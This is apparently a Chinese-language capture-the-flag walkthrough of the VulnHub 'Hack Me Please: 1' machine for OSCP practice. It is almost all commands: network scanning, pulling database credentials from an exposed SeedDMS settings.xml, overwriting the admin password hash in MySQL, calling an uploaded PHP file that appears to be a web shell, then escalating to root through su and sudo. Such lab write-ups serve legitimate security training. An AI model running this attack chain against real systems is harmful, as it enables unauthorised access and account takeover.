OSCP难度靶机之Hack Me Please: 1

虚拟机下载地址：https://www.vulnhub.com/entry/hack-me-please-1,731/
虚拟机简介：一个完全为OSCP制作的简单盒子
目标：1个flag
级别：初级

arp-scan 192.168.207.0/24

nmap -A -sS -sV -v -p- 192.168.207.145

searchsploit seeddms

https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/conf/.htaccess#l1

http://192.168.207.145/seeddms51x/conf/settings.xml

mysql -h 192.168.207.145 -u seeddms -pseeddms

use seeddms;
select * from tblUsers;

select * from users;

UPDATE tblUsers SET pwd='21232f297a57a5a743894a0e4a801fc3' WHERE login='admin';

http://192.168.207.145/seeddms51x/data/1048576/6/1.php

cat /etc/passwd | grep /bin/bash

su - saket
python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l

sudo su